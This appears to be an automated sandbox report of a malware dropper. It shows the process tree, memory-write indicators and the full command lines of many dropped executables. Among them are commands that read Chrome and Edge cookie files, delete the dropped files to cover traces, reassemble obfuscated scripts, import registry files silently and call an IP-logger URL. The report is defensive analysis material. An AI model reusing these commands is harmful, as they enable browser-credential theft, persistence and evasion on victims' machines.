Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

3052
3052
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

3052
5864 MicrosoftEdge.exe
6044 MicrosoftEdgeCP.exe
6044 MicrosoftEdgeCP.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3052

pid	process
3052
3052

pid	process
3052
5864	MicrosoftEdge.exe
6044	MicrosoftEdgeCP.exe
6044	MicrosoftEdgeCP.exe

pid	process
3052

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1A62A7EBF208B538DB86F5BE062DFEE8.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exerundll32.exearnatic_4.exe11111.exearnatic_6.exerundll32.exesvchost.exe

description	pid	process	target process
PID 1496 wrote to memory of 2848	1496	1A62A7EBF208B538DB86F5BE062DFEE8.exe	setup_installer.exe
PID 1496 wrote to memory of 2848	1496	1A62A7EBF208B538DB86F5BE062DFEE8.exe	setup_installer.exe
PID 1496 wrote to memory of 2848	1496	1A62A7EBF208B538DB86F5BE062DFEE8.exe	setup_installer.exe
PID 2848 wrote to memory of 624	2848	setup_installer.exe	setup_install.exe
PID 2848 wrote to memory of 624	2848	setup_installer.exe	setup_install.exe
PID 2848 wrote to memory of 624	2848	setup_installer.exe	setup_install.exe
PID 624 wrote to memory of 3288	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3288	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3288	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3480	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3480	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3480	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3280	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3280	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3280	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 1200	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 1200	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 1200	624	setup_install.exe	cmd.exe
PID 3480 wrote to memory of 3648	3480	cmd.exe	arnatic_2.exe
PID 3480 wrote to memory of 3648	3480	cmd.exe	arnatic_2.exe
PID 3480 wrote to memory of 3648	3480	cmd.exe	arnatic_2.exe
PID 624 wrote to memory of 4048	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 4048	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 4048	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 2852	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 2852	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 2852	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3680	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3680	624	setup_install.exe	cmd.exe
PID 624 wrote to memory of 3680	624	setup_install.exe	cmd.exe
PID 3680 wrote to memory of 1288	3680	cmd.exe	arnatic_7.exe
PID 3680 wrote to memory of 1288	3680	cmd.exe	arnatic_7.exe
PID 3280 wrote to memory of 3820	3280	cmd.exe	arnatic_3.exe
PID 3280 wrote to memory of 3820	3280	cmd.exe	arnatic_3.exe
PID 3280 wrote to memory of 3820	3280	cmd.exe	arnatic_3.exe
PID 4048 wrote to memory of 1456	4048	cmd.exe	arnatic_5.exe
PID 4048 wrote to memory of 1456	4048	cmd.exe	arnatic_5.exe
PID 4048 wrote to memory of 1456	4048	cmd.exe	arnatic_5.exe
PID 1200 wrote to memory of 1856	1200	cmd.exe	arnatic_4.exe
PID 1200 wrote to memory of 1856	1200	cmd.exe	arnatic_4.exe
PID 3288 wrote to memory of 2168	3288	cmd.exe	rundll32.exe
PID 3288 wrote to memory of 2168	3288	cmd.exe	rundll32.exe
PID 3288 wrote to memory of 2168	3288	cmd.exe	rundll32.exe
PID 2852 wrote to memory of 2820	2852	cmd.exe	arnatic_6.exe
PID 2852 wrote to memory of 2820	2852	cmd.exe	arnatic_6.exe
PID 2168 wrote to memory of 3588	2168	rundll32.exe	arnatic_1.exe
PID 2168 wrote to memory of 3588	2168	rundll32.exe	arnatic_1.exe
PID 2168 wrote to memory of 3588	2168	rundll32.exe	arnatic_1.exe
PID 1856 wrote to memory of 2168	1856	arnatic_4.exe	rundll32.exe
PID 1856 wrote to memory of 2168	1856	arnatic_4.exe	rundll32.exe
PID 1856 wrote to memory of 2168	1856	arnatic_4.exe	rundll32.exe
PID 4144 wrote to memory of 4164	4144	11111.exe	rundll32.exe
PID 4144 wrote to memory of 4164	4144	11111.exe	rundll32.exe
PID 4144 wrote to memory of 4164	4144	11111.exe	rundll32.exe
PID 2820 wrote to memory of 4200	2820	arnatic_6.exe	8575425.exe
PID 2820 wrote to memory of 4200	2820	arnatic_6.exe	8575425.exe
PID 2820 wrote to memory of 4248	2820	arnatic_6.exe	4728412.exe
PID 2820 wrote to memory of 4248	2820	arnatic_6.exe	4728412.exe
PID 2820 wrote to memory of 4248	2820	arnatic_6.exe	4728412.exe
PID 4164 wrote to memory of 2296	4164	rundll32.exe	svchost.exe
PID 2820 wrote to memory of 4328	2820	arnatic_6.exe	6708600.exe
PID 2820 wrote to memory of 4328	2820	arnatic_6.exe	6708600.exe
PID 2820 wrote to memory of 4328	2820	arnatic_6.exe	6708600.exe
PID 2296 wrote to memory of 4340	2296	svchost.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1068

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
- Modifies registry class
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1880

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1292

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1012

C:\Users\Admin\AppData\Local\Temp\1A62A7EBF208B538DB86F5BE062DFEE8.exe
"C:\Users\Admin\AppData\Local\Temp\1A62A7EBF208B538DB86F5BE062DFEE8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1496

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2848

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3288

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exe
arnatic_1.exe
5⤵
PID:2168

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exe" -a
6⤵
- Executes dropped EXE
PID:3588

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3480

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_2.exe
arnatic_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3648

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3280

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_3.exe
arnatic_3.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3820

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im arnatic_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_3.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:4948

C:\Windows\SysWOW64\taskkill.exe
taskkill /im arnatic_3.exe /f
7⤵
- Kills process with taskkill
PID:4176

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:4752

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1200

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_4.exe
arnatic_4.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1856

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
PID:2168

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4528

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4720

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:192

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 808
8⤵
- Drops file in Windows directory
- Program crash
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 840
8⤵
- Program crash
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 892
8⤵
- Program crash
PID:4660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 1060
8⤵
- Program crash
PID:1848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 1104
8⤵
- Program crash
PID:4836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 1060
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4796

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
7⤵
- Executes dropped EXE
PID:4984

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
8⤵
- Executes dropped EXE
PID:4828

C:\Users\Admin\AppData\Local\Temp\setup 326.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4776

C:\Windows\winnetdriv.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626818988 0
8⤵
- Executes dropped EXE
PID:5072

C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
7⤵
- Executes dropped EXE
PID:2052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4048

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_5.exe
arnatic_5.exe
5⤵
- Executes dropped EXE
PID:1456

C:\Users\Admin\Documents\ZXDQLm6hCeP98sXoh301fiSa.exe
"C:\Users\Admin\Documents\ZXDQLm6hCeP98sXoh301fiSa.exe"
6⤵
- Executes dropped EXE
PID:4824

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
7⤵
PID:4632

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:4940

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
9⤵
PID:5592

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.com
Acre.exe.com k
9⤵
- Executes dropped EXE
PID:5912

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.com k
10⤵
- Executes dropped EXE
- Drops startup file
PID:5392

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5948

C:\Users\Admin\Documents\bnXuFZ_V4jogGZF7i06fptXr.exe
"C:\Users\Admin\Documents\bnXuFZ_V4jogGZF7i06fptXr.exe"
6⤵
- Executes dropped EXE
PID:3432

C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe
"C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4352

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im KQfisfdolyXiR61ztQ4J4Rs4.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe" & del C:\ProgramData\*.dll & exit
7⤵
- Suspicious use of SetThreadContext
PID:3816

C:\Windows\SysWOW64\taskkill.exe
taskkill /im KQfisfdolyXiR61ztQ4J4Rs4.exe /f
8⤵
- Kills process with taskkill
PID:2696

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:6068

C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe
"C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe"
6⤵
- Executes dropped EXE
PID:4516

C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe
C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe
7⤵
- Executes dropped EXE
PID:4572

C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe
"C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"
6⤵
- Executes dropped EXE
PID:3816

C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe
"C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:3064

C:\Users\Admin\Documents\5IqyhPKdMbUX_ZBggyofw05T.exe
"C:\Users\Admin\Documents\5IqyhPKdMbUX_ZBggyofw05T.exe"
6⤵
- Executes dropped EXE
PID:5116

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm
7⤵
PID:4924

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:1572

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm
9⤵
PID:3636

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com
Sensitive.exe.com p
9⤵
PID:4852

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p
10⤵
PID:5840

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p
11⤵
PID:3824

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p
12⤵
PID:4388

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p
13⤵
- Drops startup file
PID:4112

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:3896

C:\Users\Admin\Documents\QxIsXqtJ8wwmehX1XtJ7HGxK.exe
"C:\Users\Admin\Documents\QxIsXqtJ8wwmehX1XtJ7HGxK.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
7⤵
PID:2280

C:\Windows\SysWOW64\explorer.exe
explorer https://iplogger.org/2LBCU6
8⤵
PID:2208

C:\Windows\SysWOW64\regedit.exe
regedit /s adj.reg
8⤵
- Runs .reg file with regedit
PID:5352

C:\Windows\SysWOW64\regedit.exe
regedit /s adj2.reg
8⤵
- Runs .reg file with regedit
PID:5588

C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
7⤵
- Executes dropped EXE
PID:4496

C:\Users\Admin\Documents\3YjZ7cfhK4892S8nlSUawp32.exe
"C:\Users\Admin\Documents\3YjZ7cfhK4892S8nlSUawp32.exe"
6⤵
- Executes dropped EXE
PID:4540

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5188

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:4888

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:5100

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Suspicious use of SetThreadContext
PID:4516

C:\Users\Admin\Documents\WMl8IllC51ycE9kotVpQsxif.exe
"C:\Users\Admin\Documents\WMl8IllC51ycE9kotVpQsxif.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5044

C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe
"C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5040

C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe
"C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3848

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"
8⤵
PID:5192

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:4716

C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe
"C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe"
6⤵
PID:3540

C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe
C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe
7⤵
- Executes dropped EXE
PID:5104

C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe
"C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"
6⤵
- Executes dropped EXE
PID:2264

C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe
"C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 552
7⤵
- Program crash
PID:2196

C:\Users\Admin\Documents\B3b0Y1FMIO52HsneZWYr5ysM.exe
"C:\Users\Admin\Documents\B3b0Y1FMIO52HsneZWYr5ysM.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3060

C:\Users\Admin\AppData\Roaming\1234.exe
C:\Users\Admin\AppData\Roaming\1234.exe 1234
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4280

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:5252

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:4860

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:3832

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:5344

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:5372

C:\Users\Admin\Documents\7acm7FKtWdYJ9B2d4BHTtDGe.exe
"C:\Users\Admin\Documents\7acm7FKtWdYJ9B2d4BHTtDGe.exe"
6⤵
- Executes dropped EXE
PID:4228

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:6004

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5516

C:\Users\Admin\Documents\yN_x518PbsdA0Ja38LBGSOu7.exe
"C:\Users\Admin\Documents\yN_x518PbsdA0Ja38LBGSOu7.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4476

C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
"C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4560

C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
7⤵
- Executes dropped EXE
PID:1684

C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
7⤵
- Executes dropped EXE
PID:5144

C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3540

C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe
"C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe"
6⤵
- Executes dropped EXE
PID:3740

C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe
"C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe" -a
7⤵
- Executes dropped EXE
PID:4448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2852

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_6.exe
arnatic_6.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820

C:\Users\Admin\AppData\Roaming\8575425.exe
"C:\Users\Admin\AppData\Roaming\8575425.exe"
6⤵
- Executes dropped EXE
PID:4200

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4200 -s 1548
7⤵
- Program crash
PID:4788

C:\Users\Admin\AppData\Roaming\4728412.exe
"C:\Users\Admin\AppData\Roaming\4728412.exe"
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4248

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
- Executes dropped EXE
PID:5060

C:\Users\Admin\AppData\Roaming\6708600.exe
"C:\Users\Admin\AppData\Roaming\6708600.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4328

C:\Users\Admin\AppData\Roaming\6708600.exe
C:\Users\Admin\AppData\Roaming\6708600.exe
7⤵
- Executes dropped EXE
PID:4168

C:\Users\Admin\AppData\Roaming\8854983.exe
"C:\Users\Admin\AppData\Roaming\8854983.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_7.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3680

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4340

C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_7.exe
arnatic_7.exe
1⤵
- Executes dropped EXE
PID:1288

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:4172

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4144

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:4932

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:4252

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:4144

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4164

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
1⤵
- Executes dropped EXE
PID:2704

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2052 -s 1004
1⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:3336

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
